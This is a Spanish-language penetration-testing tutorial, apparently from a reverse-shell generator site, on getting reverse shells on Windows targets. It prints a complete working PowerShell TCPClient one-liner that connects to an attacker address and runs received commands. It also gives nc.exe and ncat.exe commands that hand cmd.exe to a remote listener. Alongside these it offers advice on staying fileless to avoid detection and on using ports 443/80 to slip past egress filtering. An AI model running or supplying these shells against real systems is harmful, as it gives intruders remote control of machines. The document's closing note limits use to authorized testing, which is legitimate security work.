Reverse shell en Windows: PowerShell, nc.exe y una TTY real
Cómo funcionan los reverse shells en objetivos Windows, el one-liner TCPClient de PowerShell frente a soltar nc.exe, y cómo conseguir una consola interactiva.
Los reverse shells en Windows siguen el mismo principio que en Linux —el objetivo se conecta hacia tu listener—, pero las herramientas y la calidad de la shell resultante difieren notablemente. No hay /dev/tcp, nc rara vez viene preinstalado, y una shell ingenua te da una consola que se te resiste. Este artículo cubre las opciones realistas para un compromiso autorizado en Windows.
PowerShell es la opción por defecto
PowerShell está presente en todo host Windows moderno y puede abrir un socket de forma nativa, así que suele ser el primer payload. El one-liner estándar con TCPClient conecta de vuelta, lee comandos del flujo, los ejecuta y devuelve la salida:
$c=New-Object System.Net.Sockets.TCPClient("10.0.0.1",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$r=$o+"PS "+(pwd).Path+"> ";$w=([Text.Encoding]::ASCII).GetBytes($r);$s.Write($w,0,$w.Length);$s.Flush()}
Es extenso porque PowerShell no tiene un atajo de socket-a-shell: el bucle de lectura/evaluación/escritura lo implementas tú. La mecánica, las opciones de codificación y los puntos de fallo habituales se cubren en profundidad en reverse shells con PowerShell. Tu listener sigue siendo el conocido nc -lvnp 443.
Soltar nc.exe o ncat.exe
Si puedes escribir un archivo en el objetivo, un nc.exe o ncat.exe estático te da el mismo modelo sencillo que en Linux:
nc.exe 10.0.0.1 443 -e cmd.exe
ncat.exe 10.0.0.1 443 --ssl --exec cmd.exe
La contrapartida es que ahora estás dejando un binario en disco, lo cual es más detectable y más invasivo que una llamada fileless de PowerShell. En un host monitorizado, prefiere el enfoque nativo. Como siempre con --ssl, ambos extremos deben coincidir (consulta elegir un listener).
La shell que obtienes es dolorosa: arréglala
Un reverse shell básico de Windows no tiene historial de comandos, ni teclas de flecha, ni autocompletado con tabulador, y se rompe con cualquier programa que espere una consola real (prompts interactivos, runas, cualquier cosa tipo curses). En Windows, el equivalente a una mejora de TTY de Linux es una shell basada en ConPTY, que conecta tu sesión a una pseudoconsola genuina para que el utillaje interactivo funcione. Es el análogo en Windows del baile pty.spawn/stty descrito en mejorar un reverse shell: implementación distinta, mismo objetivo: dejar de pelear con media shell.
Por qué el tuyo no conecta
- Constrained Language Mode / política de ejecución pueden mermar el payload de PowerShell: confirma qué permite el host.
- Filtrado de salida — las redes empresariales de Windows suelen permitir solo
443/80salientes; prefiere esos. - Codificación — los desajustes de codificación de la consola de Windows corrompen la salida; la guía de PowerShell lo cubre.
- Listener no coincidente — verifícalo con elegir un listener.
Lista de comprobación general: por qué fallan los reverse shells.
Genera el payload de Windows
El generador de reverse shells construye el one-liner TCPClient de PowerShell (y las formas con nc.exe/ncat.exe) con tu LHOST/LPORT ya rellenados y el listener correspondiente al lado, para que puedas centrarte en las restricciones del host, no en la sintaxis.
Solo pruebas autorizadas
Usa estas técnicas únicamente en sistemas Windows de tu propiedad o que tengas autorización explícita para evaluar. Nada de lo aquí descrito trata de evadir defensas en sistemas que no tienes permiso para tocar; la legitimidad proviene enteramente de la autorización.